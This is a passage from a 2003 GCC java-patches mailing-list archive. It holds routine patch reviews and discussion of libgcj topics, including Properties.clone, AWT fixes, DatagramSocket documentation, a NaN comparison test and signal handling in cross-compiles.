Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Tom> I thought about this more, and I think we don't need a clone Tom> method, due to the way that Hashtable.clone is implemented. I'm Tom> going to leave that part out of your patch. Ranjit> Can you please explain the reasoning? AFAICT, without this Ranjit> clone() implementation, Properties.clone( ) would give you an Ranjit> object that doesn't have the same behaviour with respect to Ranjit> default values for keys. Properties.clone() is inherited from Hashtable. Hashtable.clone() starts by calling `super.clone()', which is inherited from Object (Dictionary doesn't implement clone). Object.clone() does a low-level (byte-for-byte) copy of the original object. So, the `defaults' field is copied after all; doing it again would be redundant. My original post to the java list was incorrect about this. I even wrote a patch for it (the clone bit was exactly the same as your implementation) before I realized that it wasn't necessary. Tom From java-patches-return-6168-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:03:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24045 invoked by alias); 17 Feb 2003 15:02:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21836 invoked from network); 17 Feb 2003 15:01:53 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:53 -0000 Received: from bay1-f197.bay1.hotmail.com ([65.54.245.197] helo=hotmail.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18ke0a-0007rJ-00 for java-patches@gcc.gnu.org; Mon, 17 Feb 2003 00:40:04 -0500 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 16 Feb 2003 21:39:38 -0800 Received: from 148.87.1.171 by by1fd.bay1.hotmail.msn.com with HTTP; Mon, 17 Feb 2003 05:39:38 GMT X-Originating-IP: [148.87.1.171] From: "Ranjit Mathew" To: tromey@redhat.com Cc: java-patches@gcc.gnu.org Bcc: Subject: Re: Addendum (Re: Patch: FYI: clone System properties) Date: Mon, 17 Feb 2003 11:09:38 +0530 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 17 Feb 2003 05:39:38.0262 (UTC) FILETIME=[F5F98360:01C2D646] >Ranjit> The following patch is an addendum to your patch. It implements >Ranjit> clone( ) for Properties and also attempts to address Classpath >Ranjit> support request number 100559 raised by crawley and pointed out >Ranjit> by Mike that lists the differences in the output of >Ranjit> Properties.list( ) in GCJ v/s Sun's JDK 1.3/1.4: > >I thought about this more, and I think we don't need a clone method, >due to the way that Hashtable.clone is implemented. I'm going to >leave that part out of your patch. Can you please explain the reasoning? AFAICT, without this clone() implementation, Properties.clone( ) would give you an object that doesn't have the same behaviour with respect to default values for keys. The JDK docs do not say anything about Properties.clone( ), but this is the behaviour I think it ought to have. Ranjit. _________________________________________________________________ The new MSN 8: advanced junk mail protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From java-patches-return-6169-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:03:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24878 invoked by alias); 17 Feb 2003 15:02:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22132 invoked from network); 17 Feb 2003 15:01:58 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:58 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kYF7-0007mI-00 for java-patches@gcc.gnu.org; Sun, 16 Feb 2003 18:30:41 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA28728; Sun, 16 Feb 2003 16:17:23 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D78244F8072; Sun, 16 Feb 2003 16:07:42 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.font References: <200302151441.05422.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I would like to urinate in an OVULAR, porcelain pool -- Date: 16 Feb 2003 16:07:42 -0700 In-Reply-To: <200302151441.05422.konqueror@gmx.de> Message-ID: <8765rjomdd.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here a bigger patch to add the missing pieces in java.awt.font. Michael> Please review and comment. Looks great. Please commit to the trunk; also to Classpath. Michael> + return (horizontal ? advanceX : advanceY); For a `return' that fits on a single line, omit the parentheses. Michael> + * Constracts a LineBreakMeasurer object. Typo in "constructs" -- there are a couple of these. Tom From java-patches-return-6170-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:03:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24969 invoked by alias); 17 Feb 2003 15:02:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22016 invoked from network); 17 Feb 2003 15:01:57 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:57 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kaVr-00026G-00 for java-patches@gcc.gnu.org; Sun, 16 Feb 2003 20:56:07 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA20625; Sun, 16 Feb 2003 18:42:56 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1F5814F8072; Sun, 16 Feb 2003 18:33:16 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Addendum (Re: Patch: FYI: clone System properties) References: <87of5epy28.fsf@fleche.redhat.com> <3E4FA7DA.6AEB903B@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Hold the MAYO & pass the COSMIC AWARENESS... Date: 16 Feb 2003 18:33:15 -0700 In-Reply-To: <3E4FA7DA.6AEB903B@hotmail.com> Message-ID: <87adgvn12c.fsf@fleche.redhat.com> Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> The following patch is an addendum to your patch. It implements Ranjit> clone( ) for Properties and also attempts to address Classpath Ranjit> support request number 100559 raised by crawley and pointed out Ranjit> by Mike that lists the differences in the output of Ranjit> Properties.list( ) in GCJ v/s Sun's JDK 1.3/1.4: I thought about this more, and I think we don't need a clone method, due to the way that Hashtable.clone is implemented. I'm going to leave that part out of your patch. The rest looks good. I'll check it in to Classpath now, and 3.[34] when gcc.gnu.org is back up. Tom From java-patches-return-6171-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:03:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25041 invoked by alias); 17 Feb 2003 15:02:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22120 invoked from network); 17 Feb 2003 15:01:58 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:58 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kYep-0000db-00 for java-patches@gcc.gnu.org; Sun, 16 Feb 2003 18:57:15 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA00649; Sun, 16 Feb 2003 16:44:04 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 7016D4F8072; Sun, 16 Feb 2003 16:34:23 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch: Make "os.arch" consistent with Sun's JDK on Win32 References: <3E4FC00C.6DBBE221@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: ...Um...Um... Date: 16 Feb 2003 16:34:23 -0700 In-Reply-To: <3E4FC00C.6DBBE221@hotmail.com> Message-ID: <87smunn6kg.fsf@fleche.redhat.com> Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> This patch is in response to a recent request on the main Ranjit> mailing list to make the value of the "os.arch" system Ranjit> property on Win32 more like what Sun's JDK sets - namely "x86" Ranjit> instead of the current "i486" or "i586" for GCJ running on Ranjit> Win32. It seems like we should do this at configure time, and for every OS. We could add code to configure.host. Too bad Sun doesn't actually specify what the values here should be. Bleah. Ranjit> (Except for IA64 - we should update this when we come to know Ranjit> what Sun's JDK on Win/IA64 sets.) Unless we know for sure we can just default to whatever happens now. There's no point guessing. Tom From java-patches-return-6173-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:04:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25288 invoked by alias); 17 Feb 2003 15:03:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22134 invoked from network); 17 Feb 2003 15:01:59 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:59 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kYN4-0001SW-00 for java-patches@gcc.gnu.org; Sun, 16 Feb 2003 18:38:54 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA30098; Sun, 16 Feb 2003 16:25:44 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 049764F8072; Sun, 16 Feb 2003 16:16:04 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.print References: <200302151632.56877.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Am I elected yet? Date: 16 Feb 2003 16:16:03 -0700 In-Reply-To: <200302151632.56877.konqueror@gmx.de> Message-ID: <87wujzn7f0.fsf@fleche.redhat.com> Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> This patch fixes three glitches in java.awt.print. Please Michael> review and comment. Ok. Thanks. Tom From java-patches-return-6172-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:04:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25269 invoked by alias); 17 Feb 2003 15:03:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22133 invoked from network); 17 Feb 2003 15:01:59 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:59 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kYMg-0001J4-00 for java-patches@gcc.gnu.org; Sun, 16 Feb 2003 18:38:30 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA30032; Sun, 16 Feb 2003 16:25:19 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 6F8484F8072; Sun, 16 Feb 2003 16:15:38 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.dnd References: <200302151627.44590.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: YOW!! I'm in a very clever and adorable INSANE ASYLUM!! Date: 16 Feb 2003 16:15:38 -0700 In-Reply-To: <200302151627.44590.konqueror@gmx.de> Message-ID: <871y27om05.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Here another java.awt patch for review. It fixes some Michael> glitches in java.awt.dnd. Please review and comment. Looks good, please commit. Michael> + * Sets the component assoziated with this dro ptarget object. Typo, should be "associated". There are a couple of these. Also the space in "drop target" is misplaced. Do you use Emacs? I recently discovered and started using M-x flyspell-prog-mode. This enables automatic spell checking while you type, but only in comments and strings. Tom From java-patches-return-6174-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:04:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25543 invoked by alias); 17 Feb 2003 15:03:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22146 invoked from network); 17 Feb 2003 15:01:59 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 17 Feb 2003 15:01:59 -0000 Received: from mail.peakpeak.com ([207.174.178.17] helo=gash2.peakpeak.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18kXpg-0000iM-00 for java-patches@gcc.gnu.org; Sun, 16 Feb 2003 18:04:24 -0500 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAB24451; Sun, 16 Feb 2003 15:51:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A8A8A4F8072; Sun, 16 Feb 2003 15:41:29 -0700 (MST) To: "Boehm, Hans" Cc: "'java-patches@gcc.gnu.org'" Subject: Re: Possible awt patches References: <75A9FEBA25015040A761C1F74975667DA136A2@hplex4.hpl.hp.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: The FALAFEL SANDWICH lands on my HEAD and I become a VEGETARIAN... Date: 16 Feb 2003 15:41:28 -0700 In-Reply-To: <75A9FEBA25015040A761C1F74975667DA136A2@hplex4.hpl.hp.com> Message-ID: <87d6lronl3.fsf@fleche.redhat.com> Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Hans" == Boehm, Hans writes: Hans> Here is a bigger version of the patch. It fixes enough bugs to Hans> almost make CRCalc usable. (CRCalc works if you use purely the Hans> mouse and not the keyboard.) I have a bit more confidence in Hans> this version as a result. This looks good to me. Hans> I'm still not positive about the guesses for getPreferredSize. Hans> If I take those out, I get NullPointerExceptions on the result, Hans> but those seem to be caught somewhere. I'd be inclined to put Hans> in the guess, simply because it makes debugging easier. Yeah. Did you try to find out what the JDK does in this situation? Hans> The setFont part of the patch is also a bit dubious. I don't Hans> think it's quite doing the right thing. Hans> [ ... ] Hans> Hence I would like to check it in, at least in the absence of a Hans> better patch by a GTK expert. Sounds good. Hans> OK for trunk? What about 3.3? I've only been putting AWT fixes on the trunk since the peers aren't in 3.3. There are a couple places in the patch where `return (...)' should be written without the parens. Please fix those. Finally, can you check this in to Classpath as well? If not, send me the updated patch and I will do it. The AWT code is kept in pretty close synchronization (which reminds me; some AWT changes went into Classpath recently; I'll bring them over in the near future.) Tom From java-patches-return-6175-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 15:35:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31250 invoked by alias); 17 Feb 2003 15:35:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31242 invoked from network); 17 Feb 2003 15:35:43 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 172.16.49.205 with SMTP; 17 Feb 2003 15:35:43 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-75-190.ewetel.net [80.228.75.190]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1HFZfwt010744 for ; Mon, 17 Feb 2003 16:35:41 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.net.DatagramSocket Date: Mon, 17 Feb 2003 17:35:34 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_W9QU+mq+LYmvKdi" Message-Id: <200302171735.34213.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_W9QU+mq+LYmvKdi Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached little patch to make it more in line with the=20 classpath version. They are not fully merged yet. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+UQ9WWSOgCCdjSDsRAlpiAKCZ79udSDDGiHCxWI90jsLKPhaoSQCeN2Px =46n7ieHFRuymnEdG4Ivv93gg=3D =3DZNz1 =2D----END PGP SIGNATURE----- --Boundary-00=_W9QU+mq+LYmvKdi Content-Type: text/x-diff; charset="iso-8859-15"; name="ds.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="ds.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1710 diff -u -r1.1710 ChangeLog --- ChangeLog 17 Feb 2003 15:26:29 -0000 1.1710 +++ ChangeLog 17 Feb 2003 15:33:23 -0000 @@ -1,5 +1,13 @@ 2003-02-17 Michael Koch + * java/net/DatagramSocket.java + (connect): Merged with classpath. + (disconnect): Merged documentation with classpath. + (receice): Merged documentation with classpath. + (send): Merged documentation with classpath. + +2003-02-17 Michael Koch + * java/awt/dnd/DragSourceContext.java (addDragSourceListener): Added documentation. * java/awt/dnd/DragSourceDragEvent.java Index: java/net/DatagramSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/DatagramSocket.java,v retrieving revision 1.18 diff -u -r1.18 DatagramSocket.java --- java/net/DatagramSocket.java 11 Jan 2003 01:17:19 -0000 1.18 +++ java/net/DatagramSocket.java 17 Feb 2003 15:33:23 -0000 @@ -429,36 +429,38 @@ } /** - * Connects the datagram socket to a specified address/port. - * - * @param address The address to connect to. - * @param port The port to connect to. + * This method connects this socket to the specified address and port. + * When a datagram socket is connected, it will only send or receive + * packets to and from the host to which it is connected. A multicast + * socket that is connected may only send and not receive packets. + * + * @param address The address to connect this socket to. + * @param port The port to connect this socket to. * * @exception SocketException If an error occurs. - * @exception IllegalArgumentException If address is null - * or the port number is illegal. + * @exception IllegalArgumentException If address or port are invalid. * @exception SecurityException If the caller is not allowed to send - * datagrams to and receive datagrams from the address and port. + * datagrams to or receive from this address and port. * * @since 1.2 */ public void connect(InetAddress address, int port) { if (address == null) - throw new IllegalArgumentException ("Address may not be null"); + throw new IllegalArgumentException ("Connect address may not be null"); if ((port < 1) || (port > 65535)) - throw new IllegalArgumentException ("Port number is illegal"); + throw new IllegalArgumentException ("Port number is illegal: " + port); SecurityManager sm = System.getSecurityManager(); if (sm != null) - sm.checkAccept(address.getHostName (), port); + sm.checkConnect(address.getHostName(), port); try { - impl.connect (address, port); - remoteAddress = address; - remotePort = port; + impl.connect (address, port); + remoteAddress = address; + remotePort = port; } catch (SocketException e) { @@ -466,8 +468,10 @@ } /** - * Disconnects the datagram socket. - * + * This method disconnects this socket from the address/port it was + * conencted to. If the socket was not connected in the first place, + * this method does nothing. + * * @since 1.2 */ public void disconnect() @@ -476,8 +480,11 @@ } /** - * Receive a datagram packet. - * + * Reads a datagram packet from the socket. Note that this method + * will block until a packet is received from the network. On return, + * the passed in DatagramPacket is populated with the data + * received and all the other information about the packet. + * * @param p The datagram packet to put the incoming data into. * * @exception IOException If an error occurs. @@ -511,7 +518,8 @@ } /** - * Sends a datagram packet. + * Sends the specified packet. The host and port to which the packet + * are to be sent should be set inside the packet. * * @param p The datagram packet to send. * --Boundary-00=_W9QU+mq+LYmvKdi-- From java-patches-return-6176-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 16:06:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26492 invoked by alias); 17 Feb 2003 16:06:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26483 invoked from network); 17 Feb 2003 16:06:49 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 17 Feb 2003 16:06:49 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h1HG6nw26581; Mon, 17 Feb 2003 11:06:49 -0500 Date: Mon, 17 Feb 2003 11:06:49 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: java-patches@gcc.gnu.org Subject: Re: Patch: default to -mieee on alpha In-Reply-To: <87n0l2r96l.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 11 Feb 2003, Tom Tromey wrote: > Jeff> BTW is this example OK for the testsuite? In libjava.lang? > > Sure. Could you add a comment at the top explaining what the test is > for? Recently I've come to realize that such comments would be pretty > useful to have... Here's what I'm committing to HEAD. 2003-02-16 Jeff Sturm * libjava.lang/CompareNaN.java: New test. * libjava.lang/CompareNaN.out: New test. Index: libjava.lang/CompareNaN.java =================================================================== RCS file: libjava.lang/CompareNaN.java diff -N libjava.lang/CompareNaN.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava.lang/CompareNaN.java 17 Feb 2003 15:51:12 -0000 @@ -0,0 +1,15 @@ +/* + * JLS 4.2.3 specifies that (x op y) must be false if either x or y + * is NaN and op is one of <, >, <=, >=, or ==. + * + * Some targets may need specific options wired into libgcj.spec + * to pass this test. For example, alpha-linux requires -mieee + * to prevent an unrecoverable fp trap. + */ + +public class CompareNaN { + public static void main(String[] args) { + double x = Double.NaN; + System.out.println(x == x); + } +} Index: libjava.lang/CompareNaN.out =================================================================== RCS file: libjava.lang/CompareNaN.out diff -N libjava.lang/CompareNaN.out --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava.lang/CompareNaN.out 17 Feb 2003 15:51:12 -0000 @@ -0,0 +1 @@ +false From java-patches-return-6177-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 16:49:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20103 invoked by alias); 17 Feb 2003 16:49:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20037 invoked from network); 17 Feb 2003 16:49:32 -0000 Received: from unknown (HELO localhost.localdomain) (217.112.227.117) by 172.16.49.205 with SMTP; 17 Feb 2003 16:49:32 -0000 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h1HGwj7Z016257; Mon, 17 Feb 2003 17:58:45 +0100 Received: from localhost (ronald@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) with ESMTP id h1HGwiHX016253; Mon, 17 Feb 2003 17:58:44 +0100 X-Authentication-Warning: localhost.localdomain: ronald owned process doing -bs Date: Mon, 17 Feb 2003 17:58:43 +0100 (CET) From: Ronald Landheer-Cieslak X-X-Sender: ronald@localhost.localdomain To: Andrew Haley cc: Ronald Landheer-Cieslak , Tom Tromey , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy In-Reply-To: <15950.2664.918602.68152@cuddles.cambridge.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 15 Feb 2003, it was written: > Ronald Landheer-Cieslak writes: > > The Makefile defines NO_SIGNALS when there is no signal support for the > > current target. In fact, it tried to compile the file with -DNO_SIGNALS as > > an option, and the compile broke on the kill() (which is rather logical if > > you don't have signals) so I patched it up like this and it worked like a > > charm :) > > Might leave a couple of zombies around if there are no signals, though.. > I think we're confused about what system has no signals but has > processes. Wel, I certainly am. Hmm.. Of course there is no doubt that any POSIX system must have signals, but how, then, is it possible that gcc is compiling itself without signal support, and is still giving me POSIX threads -especially when I've asked him to disable threads. Configure options for the cross-compiler are: --prefix=$HOME/tmp --target=i386-unknown-freebsd4.7 --with-newlib --disable-shared --with-local-prefix=$HOME/tmp/i386-unknown-freebsd4.7 --disable-threads ^^^^^^^^^^^^^^^^^ (these are the options for the full compiler, of course; the bootstrap compiler doesn't get into trouble). FWIW, I was building a linux-x-freebsd cross compiler w/ newlib as CRTL - latest versions of everything, of course. IMHO, there is a bug somewhere around here: 1. the file I patched should enever have been compiler (because I disabled threads on the command-line 2. if compiled without signal support (as done here) kill() should not be called (as fixed by my patch) --> IMHO, this is true regardless of whether the platform is supposedly POSIX-compliant: AFAIK, no platform is completely POSIX compliant to date, and it *is* possible (though not very likely) to run into a platform with threads but without signals (though I have no idea how *that* would be implemented ;) IMHO, the patch, though it doesn't fix all of the problem, fixes at least part of it. The other part of the problem is in the Makefile.in and configure files, but I really can't help you there :\ There's another problem with the same cross-compiler, BTW, (wrong headers being included) but I'll try to whip up something decent for that later. Ciao, rlc From java-patches-return-6178-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 17:37:45 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18767 invoked by alias); 17 Feb 2003 17:37:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18759 invoked from network); 17 Feb 2003 17:37:44 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 17 Feb 2003 17:37:44 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA24986; Mon, 17 Feb 2003 10:37:42 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 0D6CF4F8072; Mon, 17 Feb 2003 10:28:11 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt.dnd References: <200302151627.44590.konqueror@gmx.de> <871y27om05.fsf@fleche.redhat.com> <200302170956.53899.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Everybody gets free BORSCHT! Date: 17 Feb 2003 10:28:10 -0700 In-Reply-To: <200302170956.53899.konqueror@gmx.de> Message-ID: <87d6lqlsut.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> Well I tried flyspell the last time you told me, but it Michael> doesnt really work in my german localized environement very Michael> well. I'm embarrassed that I forgot that I mentioned this before. Sorry about that. Tom From java-patches-return-6179-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 17 18:05:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1653 invoked by alias); 17 Feb 2003 18:05:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1640 invoked 